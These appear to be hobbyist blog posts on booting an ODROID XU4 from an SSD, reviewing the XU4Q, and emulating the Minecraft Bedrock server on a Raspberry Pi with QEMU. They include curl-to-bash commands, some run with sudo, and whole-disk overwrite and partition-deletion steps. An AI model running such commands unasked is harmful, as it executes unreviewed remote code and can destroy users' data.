Pi, Orange Pi, ODROID and Tinker Board. It’s widely compatible and works with gaming consoles as well. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Preparing SD Card First you should have a completely working installation on a SD card of the OS that you would like to use. If you have an already working installation you want to move to your SSD you can use this as well. You should completely update first with: sudo apt update && sudo apt full-upgrade If you are using a different package manager then update the image however you need to for your distribution. Preparing SSD Now we are going to connect your SSD to the XU4. Make sure you plug your drive into one of the blue USB 3.0 ports and not the white USB 2.0 port! First we are going to completely remove all partitions from the drive so it’s completely blank. If you only have one drive plugged into the XU4 (and nothing else) this should be /dev/sda. sudo fdisk /dev/sda Now remove all partitions from the device. If you press “p” it will print out the partitions. Here’s an example on mine: odroid@odroid:~$ sudo fdisk /dev/sda [sudo] password for odroid: Welcome to fdisk (util-linux 2.37.2). Changes will remain in memory only, until you decide to write them. Be careful before using the write command. This disk is currently in use - repartitioning is probably a bad idea. It's recommended to umount all file systems, and swapoff all swap partitions on this disk. Command (m for help): p Disk /dev/sda: 232.89 GiB, 250059350016 bytes, 488397168 sectors Disk model: CT250MX200SSD1 Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 4096 bytes I/O size (minimum/optimal): 4096 bytes / 4096 bytes Disklabel type: dos Disk identifier: 0xa48b971e Device Boot Start End Sectors Size Id Type /dev/sda1 8192 30441472 30433281 14.5G 83 Linux Command (m for help): d Selected partition 1 Partition 1 has been deleted. Command (m for help): w The partition table has been altered. Failed to remove partition 1 from system: Device or resource busy The kernel still uses the old partitions. The new table will be used at the next reboot. Syncing disks. Even though I got the device was busy error after unplugging and replugging the SSD the partition table was clear. Once the drive is all cleared off you’re ready for the next step. Cloning Installation to SSD We’re now ready to clone your installation to the SSD. If you don’t have the eMMC attached your current root filesystem should be /dev/mmcblk1p2. We can now copy your drive to the SSD with the following command: cat /dev/mmcblk1 > /dev/sda Wait for the operation to complete (there won’t be any output but you will have a cursor again and be able to type new commands). It may take several minutes or longer. You are copying an entire drive from one to another basically with that one command. If you are having any trouble with permissions try becoming “root” first with: sudo su Now try running the command again and as the superuser you should not encounter any permission errors. Change SD card’s UUID Now unplug the SSD and plug it back in. We need to change our SD card’s UUID so that it doesn’t try to boot from that partition. We can set it to a random one with the following command: sudo tune2fs -U random /dev/mmcblk1p2 We can verify that it has changed with blkid like this: odroid@odroid:~$ sudo blkid /dev/mmcblk1p2: LABEL="rootfs" UUID="31077d7d-1be2-4d93-b833-c2ce6de7a8ce" BLOCK_SIZE="4096" TYPE="ext4" PARTUUID="3cedfd53-02" /dev/mmcblk1p1: SEC_TYPE="msdos" LABEL_FATBOOT="boot" LABEL="boot" UUID="52AA-6867" BLOCK_SIZE="512" TYPE="vfat" PARTUUID="3cedfd53-01" /dev/sda2: LABEL="rootfs" UUID="e139ce78-9841-40fe-8823-96a304a09859" BLOCK_SIZE="4096" TYPE="ext4" PARTUUID="3cedfd53-02" /dev/sda1: SEC_TYPE="msdos" LABEL_FATBOOT="boot" LABEL="boot" UUID="52AA-6867" BLOCK_SIZE="512" TYPE="vfat" PARTUUID="3cedfd53-01" Notice that /dev/sda2 and /dev/mmcblk1p2 no longer have matching UUIDs. This is exactly what we want. Run fsck Before we reboot run e2fsck on the drive like this: sudo e2fsck -yf /dev/sda2 This will prevent you from having to run fsck on the CLI the first time you try to boot. Reboot and Verify Now reboot the XU4 with: sudo reboot With any luck you should be booted using your SSD! We can verify this with the mount command like this: odroid@odroid:~$ mount sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime) proc on /proc type proc (rw,nosuid,nodev,noexec,relatime) udev on /dev type devtmpfs (rw,nosuid,relatime,size=947684k,nr_inodes=184562,mode=755) devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000) tmpfs on /run type tmpfs (rw,nosuid,nodev,noexec,relatime,size=203920k,mode=755) /dev/sda2 on / type ext4 (rw,noatime,errors=remount-ro,stripe=32753) /dev/sda1 on /media/boot type vfat (rw,relatime,fmask=0022,dmask=0022,codepage=437,iocharset=iso8859-1,shortname=mixed,utf8,errors=remount-ro) Here we can see that our root partition (/) is indeed on /dev/sda2 and not /dev/mmcblk1p2. Success! Testing Performance You can verify the performance of your SSD on Pi Benchmarks using the following command: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash SD Card Test To show the improvement between having a SD card rootfs and having a SSD rootfs I did a before test here with the SD card: Category Test Result HDParm Disk Read 72.04 MB/s HDParm Cached Disk Read 74.11 MB/s DD Disk Write 8.6 MB/s FIO 4k random read 2442 IOPS (9769 KB/s) FIO 4k random write 90 IOPS (362 KB/s) IOZone 4k read 7823 KB/s IOZone 4k write 1860 KB/s IOZone 4k random read 7591 KB/s IOZone 4k random write 1571 KB/s Score: 752 SSD Test Category Test Result HDParm Disk Read 286.44 MB/s HDParm Cached Disk Read 279.66 MB/s DD Disk Write 193 MB/s FIO 4k random read 18927 IOPS (75711 KB/s) FIO 4k random write 15170 IOPS (60681 KB/s) IOZone 4k read 22714 KB/s IOZone 4k write 27447 KB/s IOZone 4k random read 18418 KB/s IOZone 4k random write 28851 KB/s Score: 8,373 You may view the full benchmark for the XU4Q on Pi Benchmarks here. Wow, that’s quite a dramatic improvement. We went from 752 to 8,373. That’s more than a 10x! You can also look at the raw IOPS and MB/s numbers on HDParm and the various test categories if you are more familiar with those to see the improvement. Conclusion The XU4 and XU4Q actually benefit a lot more from this than a lot of the other boards that I have SSD boot guides for due to them having the USB 3.0 ports. We get a very nice performance increase and access to much higher capacity storage devices. You can get roughly 10 times the performance with even a 2.5″ SATA SSD like I am using here. There isn’t a lot of benefit to using NVMe over USB 3.0. The USB 3.0 bus will limit your speed to around the score I got even with a 2.5″ SATA. It needs a faster bus or a real NVMe port to go much faster than that so don’t use any drives that are too expensive for this. This does require sacrificing a SD card to serve as the bootloader so make sure you use one of your slow and low capacity SD cards for this as it won’t be doing much other than switching the root filesystem over to the SSD during boot time. I definitely recommend any XU4 owners give this a try as it’s extra worth it due to the USB 3.0 on the board! Other Resources Make sure to check out my original ODROID XU4Q review which includes eMMC tests and benchmarking My ODROID eMMC guide is available here which covers which compatible modules are compatible with each ODROID For an awesome retro gaming handheld console check out the ODROID Go Super Also see my Libre Computers “Le Potato” Review for an available $~45 SBC #### ODROID XU4Q Review / eMMC Tests ODROID XU4Q Review / Benchmarks / Guide I recently received several ODROID products I wanted to review and benchmark in my quest to explore the rest of the SBC world outside of Raspberry Pi. Today we’re going to cover the ODROID XU4Q! We’ll cover the pros and cons of the board and then benchmark the board with a official Hardkernel eMMC module. Let’s get started! Table of Contents Toggle Hardware UsedDifferences from XU4Official ImagesUsing eMMCBenchmarking eMMCPros / ConsProsConsConclusionOther Resources Hardware Used ODROID XU4Q The ODROID XU4Q is a passively cooled version of the popular XU4 model. It has an octocore (8 core) processor. Links: Amazon.com*, AliExpress.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* ODROID Power Supply The XU4Q needs a pretty hefty power supply and tends to not boot if it’s not just right. This is a link to the official ODROID power supply. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de,* Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se* Hardkernel eMMC Module The Hardkernel eMMC modules are the officially recommended eMMC option for ODROID boards. They are available in a wide variety of sizes from 8 GB to 128 GB. Comes preinstalled with either Linux or Android but can be reimaged. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Anazon.nl*, Amazon.sg* Differences from XU4 The biggest difference between the XU4 and the XU4Q is that the XU4Q is passively cooled with a large, pretty blue heatsink. The XU4 has active fan cooling. This does have some implications. If you know you are going to be running heavy loads 24/7 you are going to want an active cooling model. If the ambient temperature is lower you will have less to worry about. The CPU does have thermal clocking meaning that when it starts getting too hot it will reduce it’s speed slightly to prevent from overheating. This means you don’t have to worry about melting it as much as you will start to lose some performance when the device gets too hot. Official Images As always we will be examining the quality and age of the available images for the device. It’s a huge issue in the SBC world that many boards require you to use ancient kernels and distros as there are often not newer ones available. If it’s a board that Armbian doesn’t support this makes it even more complicated. Fortunately the XU4Q’s Linux images at least are 100% up to date and get the Legendary Technology Blog stamp of approval. We’ve got Ubuntu 22.04 (this is the one I will be using for the review). There’s also Android 7.1 which is definitely not quite as new. The official ODROID images for the XU4 / XU4Q are available here. This is also an Armbian officially supported board with the image available here. Using eMMC For the eMMC benchmarking section I used an official Hardkernel module that I reimaged with the XU4 software. These do actually come with the right image for your device if you order it for that device. You can just reimage them though as long as it’s using a compatible eMMC module which I’ve covered extensively here. If you don’t you have to do some preparation. Here is a YouTube video that is under 3 minutes long that shows you how to do this using a SD card and the bootloader image for the XU4. The eMMC slot is actually on the bottom of the board here: ODROID XU4Q Bottom of Board Benchmarking eMMC For testing as always I will be using Pi Benchmarks so we can make meaningful comparisons between different SBCs. This is much more comparable than the tests the manufacturers run themselves which all use different numbers / metrics. With Pi Benchmarks we get a flat score. I inserted the eMMC module and booted the board and then ran the benchmark like this: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash The results: Category Test Result HDParm Disk Read 150.73 MB/s HDParm Cached Disk Read 133.59 MB/s DD Disk Write 53.4 MB/s FIO 4k random read 7710 IOPS (30843 KB/s) FIO 4k random write 7861 IOPS (31447 KB/s) IOZone 4k read 19010 KB/s IOZone 4k write 22603 KB/s IOZone 4k random read 19073 KB/s IOZone 4k random write 23477 KB/s Score: 5,168 The score of 5,168 is actually higher than I expected from the Hardkernel eMMC modules based on my benchmarking in my recent article. That was done with the ODROID M1 and it had a score of 4,127. For whatever reason I’m getting roughly 20% higher performance on the XU4Q than the M1! The eMMC modules are definitely worth their while on this board. That is almost as high as the Raspberry Pi Compute Module 4’s built in eMMC which is somewhere around ~5,500 points on average. The CM4 has the eMMC soldered directly to the board though so it has an advantage there as an internal eMMC. Pros / Cons Pros It’s dead silent Outstanding performance Widely available Cons CPU clocks are slightly reduced from XU4 Will downclock CPU if it gets too hot without active cooling Conclusion The XU4Q is a very well supported board on a very well supported platform. The XU4 models are all software compatible with the XU3 and some previous models as well. The images are up to date and clean. The board ran and tested very well. I’m completely happy with it. I didn’t try overclocking the board yet but this board is overclockable (unlike the M1). I’d like to investigate this more in the future. This model is tough to use a SSD with vs. some of their other models that have a bootloader (this one does not). I didn’t encounter much thermal throttling during my testing but the heatsink could get quite warm during back to back benchmarks. It’s not just overclocking that you may be interested in. Since it is passively cooled you can absolutely underclock the board which gives you a lot of options for controlling performance vs. thermals that aren’t available in some other board models with fixed clock speeds. Definitely make sure you have the right type of power supply as these units are one of the more sensitive boards I’ve tested to power. It was pretty picky and wanted extremely close to the manufacturer’s specifications or it would just boot loop. The eMMC modules are really nice with this board. You will achieve maximum performance that way with minimum effort and expense (with the prices being comparable or even slightly cheaper than premium SD cards). It’s a lot easier than doing a SSD setup and the performance is several times that of even the best SD cards. I definitely do recommend eMMC over SD card usage. You can get this board for about half the price of a Raspberry Pi at the time of writing (unless you can get your Pi from an official reseller which is very hard right now). I would choose this over the Pi for the price at the moment for sure! I also found it to be a much easier board to use for beginners than the M1 (which still has some issues with their images being worked out). Buying this board in place of a Pi would be a lot less painful than the M1 for beginners. Other Resources To get more out of your XU4 check out my XU4 / XU4Q SSD Booting Guide to access high performance SSD storage The ODROID M1 is a very good choice especially if you want to use a M.2 NVMe drive without having to use an adapter/enclosure eMMC modules have very high performance – I have covered these specifically for ODROID here. I highly recommend my Ubuntu 22.04.1 Legendary ODROID M1 image if you already have the ODROID M1! #### Official Minecraft Bedrock Dedicated Server on Raspberry Pi* Minecraft Bedrock running on Raspberry Pi I highly recommend using the Docker version over the standalone version (this). Another great option is to use my Minecraft Java + Bedrock Together Geyser container which allows both Bedrock and Java players to connect! It’s now possible to convert your worlds between Bedrock and Java versions. Check out my guide on Chunker here for more information. One of the most requested features in my Raspberry Pi Minecraft server guide is support for the Bedrock edition of Minecraft. This is the edition that powers Minecraft on iOS / Android / Xbox / Nintendo Switch as well as the free Windows 10 edition. There’s one big problem though. The official Minecraft Bedrock dedicated server is only compiled for Windows and Ubuntu X86_64. Without ARM support it seems impossible to run the Bedrock dedicated server on a Raspberry Pi. I couldn’t find a documented instance of anyone doing it anywhere. So naturally today in this guide we are going to do the impossible. But right off the bat let me point out that there is an asterisk in my article title. Why you ask? That is because unlike my other guides this one will not yield you a well performing server. That is because we will be emulating a x86_64 processor on ARM. This is slow. VERY slow. Table of Contents Toggle What’s the point?Current StatusHardwareRecommended GearLinux DistributionAutomatic Setup ScriptFirst JoinManual InstructionsGetting the Dedicated ServerInstalling QEMU Host Mode EmulatorEvil way to get latest QEMUSatisfying DependenciesRunning the ServerBenchmarking / Testing StorageConclusion What’s the point? So if the server doesn’t perform well and it’s too slow why did I even bother to write this article? Basically “too slow” is only in the context of today’s hardware and software we currently have available to us. Both hardware and software for ARM have been evolving at a furious pace. ARM powers smartphones which means it is not going anywhere and will continue to have tons of R&D money put into it and it may not be long before the hardware is powerful enough. There’s also the possibility that by sharing this work that someone who reads this may know or discover ways to speed things up and build on what I present here. If you’re one of those people drop me a comment or send me an email and I will gladly credit and share your work! And last but not least, the techniques I use here can be used to run other x86_64 binaries on Raspberry Pi. Many applications will perform just fine even on current generation gear. Current Status I highly recommend using the Docker version over the standalone version (this). Another great option is to use my Minecraft Java + Bedrock Together Geyser container which allows both Bedrock and Java players to connect! The script is working on Raspberry Pi but if you use the Raspberry Pi OS’s Debian repositories the QEMU version in there will give a bus error. If you compile a newer QEMU from source or use a different operating system it works (very slowly)! You may need to build the dependencies yourself if you are getting segfaults from my prepackaged depends.zip. This is because I generated a static dump of dependencies at a snapshot in time and they’ve likely been updated to a point they are no longer compatible. See the “Satisfying Dependencies” section for how to build the dependencies! Hardware This is the hardware I used for the server.  I always recommend using solid state storage for the best performance.  To see why check out the Raspberry Pi storage benchmarks section.  This contains benchmarks submitted by others who ran the benchmark so you can see what other people are using and provides the best performance. Here’s the recommendations: Recommended Gear Raspberry Pi 4 The Raspberry Pi 4 is available in different memory configurations all the way up to 8 GB. It’s about the size of a credit card and uses an extremely low amount of power making it ideal for all sorts of projects and ideas! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon*.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Raspberry Pi 400 Kit The Raspberry Pi 400 kit includes everything you need for a full Pi 400 desktop build. The Pi 400 is the fastest Raspberry Pi ever released and comes in the form factor of a keyboard! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Kingston A400 2.5″ SATA SSD The Kingston A400 has been a great drive to use with the Pi for years. It’s reliable, widely available around the world, has low power requirements and performs very well. It’s also very affordable. This drive has been benchmarked over 1000 times at pibenchmarks.com and is the #1 most popular SSD among the Pi community! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* StarTech 2.5″ SATA to USB 3.1 Adapter The USB 3.1 variant of the StarTech 2.5″ SATA adapter works well with the Pi 4. The USB 3.0 variant doesn’t have firmware updates available and is not recommended. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Or for a compact setup: SanDisk Extreme Pro SSD The SanDisk Extreme Pro USB SSD is a true solid state drive. This is different than a typical “flash drive” which uses extremely cheap memory and has very low random I/O performance/throughput compared to a real solid state drive. I’ve used both the USB 3.1 and USB 3.2 variants with the Pi successfully and they benchmark very well! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* SD Card Setup: SanDisk Extreme A1 The SanDisk Extreme A1-A2 SD card has the best scoring SD card on Pi Benchmarks for years and is second in popularity only to the SanDisk Ultra (often included in combo kits). The application class (A1) means random I/O speeds (very important when running an OS) have to meet a higher standard. There’s no benefit on the Pi for A2 right now so get whichever is cheaper/available. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* All of these versions support cross-platform play with each other (but not with the Java edition). Minecraft Bedrock Digital Code This is the PC Minecraft for Windows 10 (Bedrock) edition of Minecraft. It is able to play cross-platform with other players on Android / iOS / Playstation / Xbox / Switch. Available as a code that is instantly activated to give you permanent access to the game! Links: Amazon.com*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it* Minecraft Bedrock Playstation The Sony PlayStation version of Minecraft: Bedrock edition. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.se*, Amazon.sg* Minecraft Bedrock Nintendo Switch This is the Nintendo Switch version of Minecraft: Bedrock edition. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Minecraft Bedrock Xbox One This is the Microsoft Xbox version of Minecraft: Bedrock edition. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.sg* Linux Distribution For this to work it is required that we use a 64 bit aarch64/arm64 distribution. This is because when we try to emulate 32 bit ARM we will get a “bus error” as soon as the server tries to start. This is likely because QEMU 32 bit is missing some support we need to emulate the x86_64 architecture. Distributions that will work: Ubuntu Server 20.04 / 18.04 ARM64 (choose the one under ARM64 section, ARMHF will not work!) Debian “Buster” Preview for Raspberry Pi Raspbian 64 bit Beta Version Since the server is natively compiled for Ubuntu it is best to use a Debian based distribution. For the Raspberry Pi I recommend Ubuntu Server 20.04 or 20.10. Check out my article on how to install Ubuntu Server on Raspberry Pi. You can also use the Debian “Buster” preview which has the advantage of having QEMU 3.1 available in the apt repository right now which will save you several steps later of having to acquire a newer static binary of QEMU the “evil” way. Raspbian will not work with this method unless you use the 64 bit beta because it is only 32 bit. You will get a segmentation fault when you run it on a 32 bit ARM system instead of a 64 bit one. Automatic Setup Script If you just want to get your hands on the finished working server my Minecraft Bedrock Dedicated Server guide already supports ARM and will setup the dependencies and download the server for you. It also supports the following: Sets up fully operational Minecraft Bedrock edition server in a couple of minutes Ubuntu / Debian distributions supported Sets up Minecraft as a system service with option to autostart at boot Automatic backups when server restarts Updates automatically to the latest version when server is started Easy control of server with start.sh, stop.sh and restart.sh scripts Optional scheduled daily restart of server using cron Run the automatic setup script by pasting / typing the following on the command line: curl https://raw.githubusercontent.com/TheRemote/MinecraftBedrockServer/master/SetupMinecraft.sh | bash First Join Before you join the server for the first time make sure the server has started by typing: screen -r You should be inside the Minecraft server console. What you want to look for before you try to join is that the server has completely finished starting. This can take a while on ARM. The line we want to see to know it’s ready is this: [INFO] Server started. The first time it joins will be very very slow. You may have to try several times as the server generates the starting area. Eventually you’ll get in and be able to move around. You’re able to break blocks but there’s definitely a delay when you break blocks and things are pretty laggy. Manual Instructions You only need to follow the manual instructions if you want to recreate my process step by step. Here are the steps: Getting the Dedicated Server The latest official dedicated Minecraft Bedrock server binary is available at: Official Minecraft Bedrock Server Download Page. We will download the Ubuntu Server version. mkdir bedrock cd bedrock wget https://minecraft.azureedge.net/bin-linux/bedrock-server-1.16.0.200.zip unzip -o bedrock-server-1.16.0.200.zip We now have the Bedrock dedicated server unzipped into a folder called “bedrock”. However, if we try to run it by typing ./bedrock_server we get: bash: ./bedrock_server: cannot execute binary file: Exec format error This is because we are on the ARM architecture and this file type is compiled for x86_64. In Linux we can get the file type format of any executable by using the file command: # file bedrock_server bedrock_server: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, stripped Now that we know what target architecture we need to run we need to get QEMU. Installing QEMU Host Mode Emulator You may have used QEMU before in the past to create virtual machines. But QEMU has another less known operating mode called user mode emulation. User mode emulation is faster than a virtual machine because it takes advantage of the host operating system to do a lot of functions rather than emulate an entire operating system. On top of being much faster, this will allow us to run a x86_64 binary on the ARM platform without having to install a full blown x86_64 operating system inside a QEMU container. At the time of writing the binaries provided in Ubuntu Server and Raspbian are too old and don’t have the x86_64 support we need. The binaries available in apt are QEMU 2.8 and we need 3.0 or higher. Check what the latest version of QEMU available for your distribution is by typing: sudo apt search qemu-user-static On my system this yielded the result: qemu-user/stable 1:2.8+dfsg-6+deb9u4 armhf QEMU user mode emulation binaries qemu-user-static/stable 1:2.8+dfsg-6+deb9u4 armhf QEMU user mode emulation binaries (static version) Notice the version is 2.8 and not 3.0 or higher. If your version is 3.0 or higher you can (and should) install qemu-user-static from apt. Mine aren’t, so we are going to cheat. But before we cheat, I am going to explain why we are violating the Holy Sacred Linux Bylaws by doing what I’m about to show you and explain why it should basically never be used. If you are using the Debian Buster distribution you can skip the next section since QEMU 3.1 is already available in apt for Debian. Evil way to get latest QEMU The proper thing to do in this situation is to download QEMU from source and build the newer version yourself. The problem is QEMU takes forever and a day to compile. Even just trying to compile the user mode binaries I came back to my Pi a full 24 hours later and it still wasn’t even close to done. Okay so building this binary in the Pi is too slow. So what is the proper thing to do then? The proper thing to do would be to set up a development machine for cross compiling on your main more powerful system and compile it that way. The downside? Unless you already have a system set up with a cross compiling chain this is going to also take a lot of research and effort to get set up. So where could we possibly get precompiled binaries for our system? Well, since we are using a Debian based Linux distribution we are downstream from Debian proper. So let’s take a look at Debian’s repository and see what is available: https://packages.debian.org/buster/qemu-user-static Well look at that. The upcoming Debian Buster repository contains QEMU 3.1! We can just grab it from there. But wait… RED ALERT! Captain Picard disliked that This is very bad practice. The reason we can get away with it in this case is because qemu-user-static is statically compiled and only has one dependency (binfmt-support). All of the current stock Raspberry Pi distributions don’t have anything that depends on either of these packages. This makes qemu-user-static and binfmt-support relatively self contained. Nothing else in our system depends on them and they aren’t a part of any dependency chains. Have you ever tried to install a package and been stopped by some little dependency? It may be tempting to use this technique in situations like that. However, when you introduce foreign packages into your package tree you will very likely break your entire system. If anything depends on those packages apt will go haywire since it won’t be able to resolve the dependency chains and you will lose the ability to update or install new packages. Many packages have dozens of dependencies and a single wrong one in the chain will break everything. Therefore this technique should almost never be used. Okay, with all that out of the way, let’s proceed. First we are going to grab a prebuilt QEMU package for our ARM architecture. We can get these from the Debian repository. These links change often so you will need to navigate to the repository yourself and see what the latest available QEMU repository is. First we need to find qemu-user-static. Here’s where that will be in the Debian repository: http://ftp.us.debian.org/debian/pool/main/q/qemu/ Make a note of the exact name of the package. You will need it in the next step. Now we need to find one more package which is binfmt-support from here: http://ftp.us.debian.org/debian/pool/main/b/binfmt-support/ Once you’ve found these and made a note of the package names download them to your Pi like this: wget http://ftp.us.debian.org/debian/pool/main/q/qemu/qemu-user-static_4.1-1+b3_arm64.deb wget http://ftp.us.debian.org/debian/pool/main/b/binfmt-support/binfmt-support_2.2.0-2_arm64.deb sudo dpkg --install binfmt*.deb sudo dpkg --install qemu-user*.deb You should now have QEMU installed. You can verify this with the following: # qemu-x86_64-static --version qemu-x86_64 version 3.1.0 (Debian 1:3.1+dfsg-7) Copyright (c) 2003-2018 Fabrice Bellard and the QEMU Project developers Your version should be a lot newer than mine since this output is from the date of publication but if you didn’t get an error you should be all set to move on to the next step. Satisfying Dependencies Now that we have QEMU installed if we try to run bedrock_server we get the following: # ./bedrock_server /lib64/ld-linux-x86-64.so.2: No such file or directory This is progress. We’re no longer getting an error that the system can’t read the binary format of the file. We are now met with a dependency error. This is to be expected because we are running on a ARM system and don’t have any x86_64 dependencies installed. The Minecraft server executable is dynamically linked as we learned earlier with the file info tool. This means that we will need to provide some libraries for the executable to work. The easiest and fastest way to get them is to install Ubuntu x86_64 on a virtual machine using something like VirtualBox or on a spare machine. If you want to download my copy of the dependencies and skip this step I have them zipped up at Minecraft Bedrock Server Dependencies – depends.zip One alternative would be to set up a chroot environment containing a x86_64 environment but I have had nothing but problems trying to create such an environment on ARM. Usually the chroot will crash out QEMU and when you google the crash codes you will come across bug posts where the QEMU authors state that ARM to x86_64 isn’t used all that often and some things are unimplemented. This is also why we need to use QEMU 3.0 or higher to get the support we need to run the server as the support was improved in that version. Once you have set up a x86_64 environment download the server like we did earlier and we will use the ldd tool to look up the dependencies. On your x86_64 installation type ldd bedrock_server: # ldd bedrock_server linux-vdso.so.1 (0x00007fff04bb0000) libcurl.so.4 => /usr/lib/x86_64-linux-gnu/libcurl.so.4 (0x00007fb77c01b000) libCrypto.so => /home/james/minecraftbe/./libCrypto.so (0x00007fb77bdf0000) libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fb77bbd1000) libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fb77b9cd000) libssl.so.1.1 => /usr/lib/x86_64-linux-gnu/libssl.so.1.1 (0x00007fb77b763000) libcrypto.so.1.1 => /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1 (0x00007fb77b2eb000) libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007fb77b0ce000) libstdc++.so.6 => /usr/lib/x86_64-linux-gnu/libstdc++.so.6 (0x00007fb77ad45000) libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007fb77a9a7000) libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007fb77a78f000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb77a39e000) /lib64/ld-linux-x86-64.so.2 (0x00007fb780d6b000) libnghttp2.so.14 => /usr/lib/x86_64-linux-gnu/libnghttp2.so.14 (0x00007fb77a179000) libidn2.so.0 => /usr/lib/x86_64-linux-gnu/libidn2.so.0 (0x00007fb779f5c000) librtmp.so.1 => /usr/lib/x86_64-linux-gnu/librtmp.so.1 (0x00007fb779d40000) libpsl.so.5 => /usr/lib/x86_64-linux-gnu/libpsl.so.5 (0x00007fb779b32000) libgssapi_krb5.so.2 => /usr/lib/x86_64-linux-gnu/libgssapi_krb5.so.2 (0x00007fb7798e7000) libldap_r-2.4.so.2 => /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2 (0x00007fb779695000) liblber-2.4.so.2 => /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2 (0x00007fb779487000) libunistring.so.2 => /usr/lib/x86_64-linux-gnu/libunistring.so.2 (0x00007fb779109000) libgnutls.so.30 => /usr/lib/x86_64-linux-gnu/libgnutls.so.30 (0x00007fb778da4000) libhogweed.so.4 => /usr/lib/x86_64-linux-gnu/libhogweed.so.4 (0x00007fb778b70000) libnettle.so.6 => /usr/lib/x86_64-linux-gnu/libnettle.so.6 (0x00007fb77893a000) libgmp.so.10 => /usr/lib/x86_64-linux-gnu/libgmp.so.10 (0x00007fb7786b9000) libkrb5.so.3 => /usr/lib/x86_64-linux-gnu/libkrb5.so.3 (0x00007fb7783e3000) libk5crypto.so.3 => /usr/lib/x86_64-linux-gnu/libk5crypto.so.3 (0x00007fb7781b1000) libcom_err.so.2 => /lib/x86_64-linux-gnu/libcom_err.so.2 (0x00007fb777fad000) libkrb5support.so.0 => /usr/lib/x86_64-linux-gnu/libkrb5support.so.0 (0x00007fb777da2000) libresolv.so.2 => /lib/x86_64-linux-gnu/libresolv.so.2 (0x00007fb777b87000) libsasl2.so.2 => /usr/lib/x86_64-linux-gnu/libsasl2.so.2 (0x00007fb77796c000) libgssapi.so.3 => /usr/lib/x86_64-linux-gnu/libgssapi.so.3 (0x00007fb77772b000) libp11-kit.so.0 => /usr/lib/x86_64-linux-gnu/libp11-kit.so.0 (0x00007fb7773fc000) libtasn1.so.6 => /usr/lib/x86_64-linux-gnu/libtasn1.so.6 (0x00007fb7771e9000) libkeyutils.so.1 => /lib/x86_64-linux-gnu/libkeyutils.so.1 (0x00007fb776fe5000) libheimntlm.so.0 => /usr/lib/x86_64-linux-gnu/libheimntlm.so.0 (0x00007fb776ddc000) libkrb5.so.26 => /usr/lib/x86_64-linux-gnu/libkrb5.so.26 (0x00007fb776b4f000) libasn1.so.8 => /usr/lib/x86_64-linux-gnu/libasn1.so.8 (0x00007fb7768ad000) libhcrypto.so.4 => /usr/lib/x86_64-linux-gnu/libhcrypto.so.4 (0x00007fb776677000) libroken.so.18 => /usr/lib/x86_64-linux-gnu/libroken.so.18 (0x00007fb776461000) libffi.so.6 